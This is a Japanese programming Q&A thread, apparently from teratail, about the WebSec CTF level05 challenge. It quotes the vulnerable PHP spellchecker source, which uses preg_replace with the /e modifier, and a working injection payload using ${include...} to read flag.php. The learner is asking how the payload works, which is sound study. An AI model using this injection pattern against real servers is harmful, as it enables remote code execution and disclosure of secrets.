質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.35%
PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

Q&A

解決済

1回答

2100閲覧

PHPでの関数の呼び出しで、${}構文とやらがあるらしく…。

61xxx

総合スコア1

PHP

PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

0グッド

1クリップ

投稿2022/01/10 19:35

1. 背景

WebSec という常設CTFの level05 について考えていた際に生まれた疑問です。(問題ページ : https://websec.fr/level05/index.php)
問題のWebページに関しては、入力フォームに文字列を入力するとスペルチェッカーが変換してくれるというものです。


2. 質問

Writeup を参考にしてリクエストパラメータ ?q=${include%0a$_GET[inc]}${flag}&inc=flag.php でフラグを獲得することができました。

一方で、「${include%0a$_GET[inc]}」の箇所がどういった動きをするのか分からない状況です。

そこで、「${}」内に関数を入れた場合にどのような動きをするのか教えて頂けると幸いです。


3. 問題のポイント

  1. textareaタグname属性q を指定している。
  2. q の処理については以下のような形。

source.php

1 $q = substr ($_REQUEST['q'], 0, 256);

source.php

1$corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\1")', $q);
  1. $blacklist${} が含まれていない。
  2. 外部ファイル flag.php を読み込み、そこで定義されている $flag を呼び出せそう。

4. ソースコード

source.php

1<!DOCTYPE html> 2<html> 3<head> 4 <title>#WebSec Level Five</title> 5 <link rel="stylesheet" href="../static/bootstrap.min.css" /> 6 <!-- Thanks to blotus for its help. --> 7</head> 8 <body> 9 <div id="main"> 10 <div class="container"> 11 <div class="row"> 12 <h1>LevelFive <small> - Spelling is important.</small></h1> 13 </div> 14 <div class="row"> 15 <p class="lead"> 16 Since it sims that no one now how to spell proper anglish anymore those days, 17 we ofer you <a href="source.php">this spellshaker</a>, written in pure php. 18 Be nice and do not brek it please. 19 <!-- If I had to guess, I would say that the $flag is defined in flag.php --> 20 </p> 21 </div> 22 </div> 23 <div class="container"> 24 <div class="row"> 25 <form name="wordchecker" method="post"> 26 <div class="form-group"> 27 <label for="word">Text to check</label> 28 <textarea class="form-control" id="word" name="q" placeholder="Your text" rows="8" required></textarea> 29 </div> 30 <button type="submit" class="btn btn-default" name="submit">Spellcheck</button> 31 </form> 32 </div> 33 <?php 34 ini_set('display_errors', 'on'); 35 ini_set('error_reporting', E_ALL ^ E_DEPRECATED); 36 37 if (isset ($_REQUEST['q']) and is_string ($_REQUEST['q'])): 38 require 'spell.php'; # implement the "correct($word)" function 39 40 $q = substr ($_REQUEST['q'], 0, 256); # Our spellchecker is a bit slow, do not DoS it please. 41 $blacklist = implode (["'", '"', '(', ')', ' ', '`']); 42 43 $corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\1")', $q); 44 ?> 45 <br><hr><br> 46 <div class="row"> 47 <div class="panel panel-default"> 48 <div class="panel-heading">Corrected text</div> 49 <div class="panel-body"> 50 <blockquote> 51 <?php echo $corrected; ?> 52 </blockquote> 53 </div> 54 </div> 55 </div> 56 <?php endif ?> 57 </div> 58 </div> 59 <script type="text/javascript" src="../static/bootstrap.min.js"></script> 60 </body> 61</html>

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答1

0

ベストアンサー

質問が散らばってる気がしないでもないので一部だけ。

  1. $blacklist に $ や {} が含まれていない。

preg_replace()の第一引数には正規表現が使われています。
$も{}も正規表現では特別な意味を持つため、また単に変数展開のためには不要であるため用いられていないだけかと思います。

  1. 外部ファイル flag.php を読み込み、そこで定義されている $flag を呼び出せそう。

includeは言ってしまえば対象のソースコードがそのままそこに入るということになるので、以降はその内部で定義された情報は使えます(なので、ソースコード冒頭に書かれることが多い)

あと、ヒントになるか分かりませんが、
変数展開のための書き方って結構あります(文字列内にしか書けないとか制限はあるけど)。

php

1$a 2{$a} 3${a}

投稿2022/01/10 21:07

編集2022/01/10 21:09
m.ts10806

総合スコア80875

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

61xxx

2022/01/11 09:30

m.ts10806さん ご回答ありがとうございます。 しかしながら、依然として ${include 'flag.php'} の動きがいまいち分かりません。 ${}内にソースコードがそのまま入るという認識で宜しいのでしょうか。 また、そうだった場合に変数展開はどのようにして行われるのでしょうか。 自分で調べる過程で変数展開には辿り着いたのですが、今回のような場合に上手く結び付きませんでした。 もしかしたら、私の考えているよりもっと根本的で基本的な部分で誤解をしているのかも知れません。 重ねてお聞きする形となり大変恐縮ですが、お答え頂けますと幸いです。
61xxx

2022/01/13 09:18

m.ts10806さん ご返信ありがとうございます。 なるほど、通りでなかなか調べても出てこなかったのですね。 だとすると、問題としてどうなのかと思ってしまいますが…解けた人もいるわけですしね…(笑) 丁寧で分かりやすいご回答、ありがとうございました‼
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.35%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問